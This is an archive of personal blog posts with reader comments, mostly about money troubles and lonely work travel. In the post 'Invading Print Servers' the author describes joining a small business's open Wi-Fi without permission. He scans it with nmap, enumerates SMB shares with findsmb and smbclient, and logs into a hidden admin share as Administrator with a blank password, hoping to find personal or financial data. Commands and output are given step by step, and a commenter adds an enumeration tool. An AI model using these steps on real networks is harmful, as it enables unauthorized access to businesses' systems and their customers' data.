There was a jar of change on the fridge that consists of mostly pennies, but a lot of them. So I threw all that into a plastic bag and ran it through that green "change machine" at the grocery store. I was seven dollars richer from that process. Not bad! I had gotten a $10 Walgreen's card for X-Mas in a gift exchange ... I think. It's one of those gifts that you shrug off and stuff into the back of your wallet. But that was gold! Walgreens is a bit overpriced on everything. But it doesn't really matter. It's a free ten bucks!

So we had a good couple of bucks for groceries, and that got us some of the vital things we needed to survive the next week. Like dairy products, and the dreadful "Ramen noodles". I also had a poor man's goldmine growing in my garage. I have been collecting cans for weeks ... actually months. That had to be worth a few bucks right? Just this morning we drove those cans to the recycling center and came out $12 richer. Not bad for trash, although I was a bit jealous of these guys hauling in 30 to 50 pounds of scrap metal and walking out with a lot more cash than me. If I run across a construction dumpster in the next week, I may just have to dig through it!

In half an hour, it will be 2006. After a successful first year in business, it will seem strange to celebrate it being miles in debt, with "money on the way". Most businesses will fail in their first year in business. But not this one. In March, we will have made that first year. Of those businesses that survive, very few will make it for another four years. Yet, I have a feeling that most of them would throw in the towel when they found themselves chowing down on Ramen noodles and pumping gas on a credit card ... that was paid by an electronic check ... that will bounce in a few hours.

Happy new year! My new years resolution? To stay on the path, and have another good year in business!

Historic Comments
Glad to here from you again. Sorry to hear about the money troubles but it sounds like you are keeping your spirits up. Hope your business keeps improving.
Dennis | Homepage | 01.04.06 - 11:33 am | #

Invading Print Servers

It's been a while since I did some real network invasion. And today, my homesick depression was reaching an all time high ... so I felt making an few stops might be in order.

On my way back to the hotel, I caught a glimpse of what looked like the edge of a strip mall which I thought might be interesting. I had to make a few turns to get into the parking lot, and it almost seemed like they were hiding it from the main highway. The mall was buried behind towering townhouse condos. As I made my way down a small winding road, I came upon this strange ... village. It was quite an impressive real estate project. The condos were narrow, but stood about four stories high. Some of the condos were actually businesses on the bottom. The problem was ... no parking. So as I spun around in my Bug, all I could wonder was "where the fuck do people park around here?". Hell, I might have even stopped into Quizno's for a sub. But after passing the place three times looking for a place to park my car, I gave up and waved goodbye. None of these little businesses looked all that busy, and I could now see why.

As I drove around in circles, Audrey (the laptop) was going nuts. I had KisMac running, and I was picking up an access point at a rate of about every two seconds. By the time I found a spot and parked in it ... I was down to a single access point. But that's okay. I can only rape one at a time, right? Looking ahead of me, I determined that this access point must belong to one of the following businesses: a hair and nail shop, a mailbox shop, an eyeglasses shop, or a small grocery store. The access point, "linksys", happily accepted me as a visitor and set me up with an address to use. I opened a terminal and went right to work.

My first goal, was to get an idea of what was on this network (other than me). So I did a simple nmap scan, and dumped that into a file like this ...

audrey-ii:~ rayhaque$ nmap 192.168.2.1-254 > nmap.log

While that was running (and it was taking it's sweet time), I hopped to a second terminal and ran "findsmb". This is an old samba utility which does an MS Windows style "network browse". The idea being that any Windows-like file server in the immediate network will 'hollar back'.

audrey-ii:~ rayhaque$ findsmb

IP ADDR NETBIOS NAME WORKGROUP/OS/VERSION
---------------------------------------------------------------------
192.168.2.100 E-710-109987 +[WORKGROUP] [Windows NT 4.0] [NT LAN Manager 4.0]
audrey-ii:~ rayhaque$ smbclient //192.168.2.100

Hooray, I am not alone. But wait just a damned minute. When was the last time you came across a server running Windows NT. I had my doubts. Usually when nmap tells you that it found an NT server, it's actually found some sort of network appliance.

Next I ran "smbclient" and used it to get a dump of file shares from my new friend. Notice it prompted me for a password, and I declined to offer one up. This indicated that it was okay listing it's shares to an anonymous guy like me.

audrey-ii:~ rayhaque$ smbclient -L //E-710-109987
Password:
Domain=[WORKGROUP] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]

Sharename Type Comment
--------- ---- -------
direct Printer direct
ADMIN$ Disk Remote Admin
IPC$ IPC Remote IPC
print Printer print
C$ Disk Default share
D$ Disk Default share
E$ Disk Default share
print$ Disk Printer Drivers
hold Printer hold
Domain=[WORKGROUP] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]

Server Comment
--------- -------
E-710-109987

Workgroup Master
--------- -------
MSOFFICE MASTER
WORKGROUP E-710-109987

What the hell is this thing? Is it a print server? Is it just one of those glorified network printers, with PC-like functionality? I decided to try and connect to one of these shared drives and check it out. And while the C$ share most certainly contains the OS, I am wanting to poke through someones personal data or financial information. That's what really makes these sick little excursions worthwhile.

audrey-ii:~ rayhaque$ smbclient //E-710-109987/e$
Password:
Domain=[WORKGROUP] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
tree connect failed: NT_STATUS_ACCESS_DENIED

Oh ... so you aren't happy with allowing guests access to your hidden shares? Aren't we picky. How about ... administrators? Any love for an Administrator, with a blank password?

audrey-ii:~ rayhaque$ smbclient //E-710-109987/e$ -U Administrator
Password:
Domain=[WORKGROUP] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \>

That's what I'm talking about. What we have here is an SMB browsing session in progress. It's awaiting my command. Likely, I can now begin searching through files, and if I find something I like, I can "get" it.

smb: \> ls
efi D 0 Wed Oct 30 16:16:53 2002
spool D 0 Mon Apr 26 15:10:28 2004

50516 blocks of size 131072. 48395 blocks available
smb: \>

What on earth? After some poking around in and out of the shares I came to the conclusion that ... this was nothing but a print server. An utterly boring print server. By this time my nmap scan had finished, and I looked through it for my next victim. This was a strange network, in that it had several clients attached to it, but had no Internet gateway, or DNS resolution. It was truely a "workgroup". These networks give me a 'big rubbery one', because most companies don't bother any level of security. Why? Because they aren't connected to anything. Never mind the wireless signal that I used to waltz in from the parking lot.

I poked through my nmap file again and targeted my next victim. This server (?) had the address typically reserved for a gateway/router. Yet, it was a dead end for packets. So I made an attempt to talk to it as a Windows file server. I did a simple anonymous style "share list" against it. It obliged.

audrey-ii:~ rayhaque$ smbclient -L //192.168.2.1
Password:
Anonymous login successful
Domain=[MSOFFICE] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED
session request to 192.168.2.1 failed (Called name not present)
session request to 192 failed (Called name not present)
Anonymous login successful
Domain=[MSOFFICE] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------
AUX1
AUX2
MASTER

Workgroup Master
--------- -------
MSOFFICE MASTER
WORKGROUP E-710-109987

This could be interesting, although it may just be another network appliance screwing with me. I think I will check out a different host. Maybe this 192.168.2.4 character. Perhaps it's an actual running PC of some kind.

audrey-ii:~ rayhaque$ smbclient -L //192.168.2.4
Password:
Domain=[MASTER] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
PC Synergy Disk
IPC$ IPC Remote IPC
C Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
session request to 192.168.2.4 failed (Called name not present)
session request to 192 failed (Called name not present)
Domain=[MASTER] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------

Workgroup Master
--------- -------

Uh yeah ... this looks like another print server thing. God, I have found the most uninteresting network imaginable to inhabit. But I will look around anyway. This "PC Synergy" thing could possibly be something interesting.

audrey-ii:~ rayhaque$ smbclient "//192.168.2.4/PC Synergy" -U guest
Password:
Domain=[MASTER] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
smb: \> ls
. D 0 Wed Oct 19 07:07:55 2005
.. D 0 Wed Oct 19 07:07:55 2005
PostalMate D 0 Wed Nov 2 16:43:11 2005
POSTALMATEActGrp.xml A 0 Wed Oct 19 07:07:55 2005

38170 blocks of size 524288. 31427 blocks available
smb: \> cd PostalMate
smb: \PostalMate\> ls
. D 0 Wed Nov 2 16:43:11 2005
.. D 0 Wed Nov 2 16:43:11 2005
32767.bmp A 12598 Thu Jun 22 09:51:44 2000
32768.bmp A 49256 Mon Aug 16 08:23:56 2004
32769.bmp A 14470 Mon Dec 4 14:02:26 2000
32770.bmp A 58266 Tue Feb 11 12:10:44 2003
32771.bmp A 15406 Tue Nov 25 07:49:24 2003
32772.bmp A 26100 Thu Sep 23 08:34:46 2004
borlndmm.dll A 25600 Mon Jan 24 06:01:00 2000
CashMate.chm A 228029 Mon Jun 20 13:58:10 2005
Cashmate.exe A 5968384 Thu Sep 22 08:01:00 2005
CashMate.GID AH 41663 Tue Sep 20 13:09:30 2005
Close.exe A 403456 Wed Jul 13 11:26:04 2005
complog.err A 0 Fri Dec 31 16:50:32 2004
DataPurge.dll A 775168 Wed Oct 5 15:25:24 2005
DropOff.dll A 1475072 Wed Oct 5 15:25:24 2005
ElabelSample.txt A 10811 Wed Jan 31 15:02:52 2001
ENHTRKLog.txt A 981 Thu Sep 19 15:04:44 2002
EnhTrkuRsp.txt A 5002 Sun Dec 23 12:08:08 2001
Events.dll A 681984 Wed Oct 5 14:36:35 2005
Events.log A 18221 Wed Oct 5 15:24:59 2005
FedExExpress_QuickRateSettingLog.txt A 408 Thu Jan 6 08:12:24 2005
Global Express Mail.lyt A 2436 Sun Feb 15 21:04:10 2004
Import A 561152 Fri Jan 23 07:45:44 2004
INSTALL.LOG A 7708 Wed Oct 5 15:25:04 2005
libeay32.dll A 651264 Sun Apr 18 16:43:44 2004
License.txt A 18316 Mon Aug 2 09:18:46 2004
Log D 0 Wed Nov 2 08:09:52 2005
MCStrings.txt A 381 Mon Jul 1 13:58:34 2002
midas.dll A 297984 Fri Mar 4 09:02:00 2005
MsgAction1.dll A 695296 Wed Oct 5 15:25:25 2005
MsgDownload.dll A 1114112 Wed Oct 5 15:25:23 2005
MsgRun.dll A 2130432 Wed Oct 5 15:25:23 2005
PDOXUSRS.LCK A 6752256 Wed Nov 2 08:07:29 2005
PDXRBLD.exe A 899072 Wed Jun 22 07:41:00 2005
Pdxrbld.INI A 81 Thu Oct 6 14:28:43 2005
Pdxrbld.LOG A 236 Thu Oct 6 14:27:25 2005
Pdxrbld2.exe A 603648 Fri Aug 3 13:21:00 2001
PMExceptions.txt A 164 Tue Sep 27 10:30:09 2005
PMShipment A 7512 Wed Jan 14 17:09:44 2004
PM_ImportFile.txt A 5359 Mon Oct 23 18:23:16 2000
PM_Win.exe A 15211520 Thu Sep 22 08:00:24 2005
PostalMate.chm A 504423 Tue Sep 6 10:23:56 2005
PostalMate.GID AH 71480 Sat Sep 24 12:44:18 2005
Pre_5_5_5.zip A 481140 Wed Oct 5 15:25:22 2005
Readme.txt A 156358 Wed Sep 21 14:15:22 2005
Setbrows.exe A 4528 Fri Oct 13 15:28:28 1995
ssleay32.dll A 147456 Sun Apr 18 16:43:46 2004
SystemCheck.exe A 941056 Wed Aug 3 10:40:14 2005
SystemUtilities.exe A 2625536 Thu Sep 22 08:01:26 2005
SysUtil.chm A 90859 Wed Aug 31 12:36:02 2005
Tables D 0 Wed Nov 2 17:10:36 2005
UNWISE.EXE A 153088 Fri Jul 26 15:02:06 2002
WSExport.dll A 693760 Thu Aug 11 12:46:18 2005
XMLTransform.dll A 434688 Wed Oct 5 14:36:34 2005
Zebra Dom 1.lyt A 2629 Thu Feb 17 13:45:02 2005
Zebra Dom 2.lyt A 2671 Tue Jun 7 13:53:30 2005
Zebra Dom Express.lyt A 2571 Thu Feb 17 13:45:02 2005
Zebra Dom Postcard.lyt A 2605 Thu Nov 4 09:23:24 2004
Zebra Intl 1.lyt A 3208 Wed Dec 15 07:38:52 2004
Zebra Intl 2.lyt A 2628 Thu Nov 4 09:23:24 2004
_QSQ6.DB A 3008512 Wed Nov 2 08:55:20 2005

38170 blocks of size 524288. 31427 blocks available
smb: \PostalMate\>

Oh - MY - GOD. I am talking to a postage machine. Well, now I know what shop I had targeted. It was the mailbox shop. This had to be the most uneventful adventure EVER. So why did I ever record it for you to read? Why did you even read through all this?

Go away. You bother me.

Historic Comments
Get a Google Map of the place with no parking lots. Perhaps there's parking that you couldn't find. If there truly is no parking there, please post a google maps picture of one of the strangest streets I've ever heard of.

And you should have tried to print some crap out of one of those printers. Something like "I quit" or "The rebellion begins NOW!"
Poe | 11.03.05 - 10:05 pm | #

Hey, Google Maps! Here is a satelite photo of the area. The spot I was in is north of "Beacon Square". It doesn't look like much from this altitude though. You can't make out the intricate little weavings of roads between the big buildings. Like a small german town. From this map, it doesn't even look like the same place. Or maybe it isn't the same place. Perhaps Im lost. You can see by the picture that there are parking lots above, beside, and below the 'campus'/ But these were marked "permit only", and filled up by the condo dwellers.

I was trying to find the Marathon gas station which would have been a good land mark, but it doesn't seem to exist.

Its a government conspiracy.
Ray Dios Haque | 11.04.05 - 3:03 pm | #

Woops ... forgot the map link. Here that is ...

http://maps.google.com/maps?q=qu...06829&t=h& hl=en
Ray Dios Haque | 11.04.05 - 3:04 pm | #

Jesus, those streets are a nightmare. You couldn't find the Quizno's on the map? I tried Google for that, but they all seem to have parking lots. Could be that most of their customers live in nearby apartments, condos, etc. Or those buildings could just be covers for machinery supporting a huge underground government facility. Raccoon City anyone?
Poe | 11.05.05 - 1:51 am | #

Whee, wardriving stories. I need to get me a damn laptop.
SiliconSnake | Homepage | 11.07.05 - 5:09 pm | #

Raaaaaaay. What IRC channel are you haunting now? I miss the milkshake contests. :P
conundrum | 12.07.05 - 11:44 pm | #

The machine you connected to was a windows workstation running a shipping system called "Postalmate 2000" authored by a company called "pcsynergy".
anon | 12.29.06 - 11:57 am | #

You can use nbtenum to enum smb accounts/shares.
jc | 06.06.07 - 10:51 am | #

Maryland Trains

I'm getting used to the trains that run through this hotel every twenty minutes. I can almost sleep through the night here. But I will never get used to the loneliness. It's pretty depressing to end a day of training, because after I leave the training center I have nowhere to go. So typically I hang around the training center until five or so when they give me dirty looks and I have to leave.

Today I decided to go from the training center to McDonalds (because they have WiFi). I ordered up a chicken sandwich which I have never had from there, and will probably never order again. It was as if they took a single "chicken finger", slapped a cold piece of swiss cheese over it, and tossed it (upside down) into an elongated hamburger bun. There was also a piece of browned lettuce, and a green tomato slice glued in with excessive mayonnaise. Yummy! As I stuffed it down with my fries I made a mental note that this will be mentioned at the pearly gates when I arrive in "fat hell". As I was eating, I looked down into the cardboard box and saw a note that said "enjoy your chicken sandwich". Underneath was a clever little picture of a long haired hippie playing a guitar. What the hell kind of marketing is that?

About five minutes after I paid $2.95 for WiFi access at McDonalds ... it occurred to me that I had wasted my money. I couldn't think of what to do with this wonderful two hours of access I had just purchased. So I checked my email. Didn't have any. I started up my chat client, and updated it. I went to a couple of my favorite websites. That wasted 40 seconds. I ran system updates! I had access to all the worlds wealth of information and couldn't think of what to use it for. Pathetic. Then my phone rang. It was my wife!

She was mad at me. No doubt about that. She wondered (out loud) why I hadn't called her. Was I supposed to call her about something? She was concerned that I always call her at the end of my day and today I "hadn't bothered". I'm sure I had hurt her feelings, because I couldn't take the time to make a call and say hello. Why hadn't I called? It's not because I was too busy. Quite the contrary. Not because I didn't want to talk to her. I miss her dearly, and I am pretty lonely here. I have avoided calling her when I am away because I don't want to bother her. I assume she is busy doing stuff. She usually is. And I feel pretty pathetic calling her because I am desperate for her attention. I need a safer way to contact her. A method that allows me to say hello more often, without bugging her. I used to instant message her a lot but she dumped the IM software because people wouldn't leave her alone. Perhaps I could buy her a phone that IM's, and then I can harass her all the time!

As I left the McDonalds and headed to my car, I passed a Maryland police office who was on his way in. I couldn't help but notice his flak jacket which may just be standard uniform in these parts. I nodded, smiled, and said hello to him. When he got to the door of the restaurant he stopped, and called "excuse me" across the parking lot to me. I stopped, turned around, and said "yes?". Then he turned around, waving me off, and headed inside. That was strange. Was he looking for dinner, or was he there for me? I know my laptop probably looks like an explosive device due to my 'enhancements'. And sometimes when I pull it out in public places people give me strange looks. But I hadn't attracted any unwanted attention that I could think of. I had chosen a spot in the rear of the establishment that was even colder than the rest of the place (which was pretty damned cold). And I faced a wall, so nobody would nice my lid attachments. Maybe I should think twice about eating there again. The whole thing left a bad taste in my mouth. Of course, that was probably from the chicken I ate. I drove away (quickly) and went straight to the hotel.

As I stumbled up the steps to the third floor of my hotel, one of my shoes slipped off and got stuck between the steps. Thinking I might lose it down a couple flights of stairs, I jumped to my knees to grab it. As I did, my eyeglasses came flying off. In a quick swoop to keep those from getting away I lost control of my book bag which spun off my arm and crashed into the steps. Luckily, my course materials took the blunt of the blow, and my laptop seems to be unaffected. I put my glasses back on. I took my other shoe off. I slung my bag back over my shoulder. I collected my pride. I slid into my room.

I pulled back the covers. Took off my dress shirt. Plopped myself down. Checked the time. 7:15PM. What the hell am I going to do until I fall asleep? I guess it's another night of whatever's on HBO. Last night it was "Catwoman", which I am guessing will go down in history as the absolute worst comic book movie ever made.

Historic Comments
Sorry to hear about the lonliness, but as far as your marriage goes, not being happy about being seperated from your wife is a good thing. If you were happy being away from home that would be a bad sign.

You and your wife should use the new yahoo meesenger, it has new 'stealth settings' that allow you to set who can see you online. This is directly from the yahoo help.

"If you are IMing with a few people and don't want to be interrupted, you can use Stealth Settings to appear invisible to everyone except the people you want to talk to."
Dennis | 11.02.05 - 11:25 am | #

You know, I should try that. It's been a long time since I tried to bring her back to IM'ing. Part of the problem is me though. I can't IM when I am teaching, because my PC screen is projected into the wall.

I really want a mobile phone that does it. That would be all too convenient. Expensive as hell too.
Ray Dios Haque | 11.04.05 - 3:06 pm | #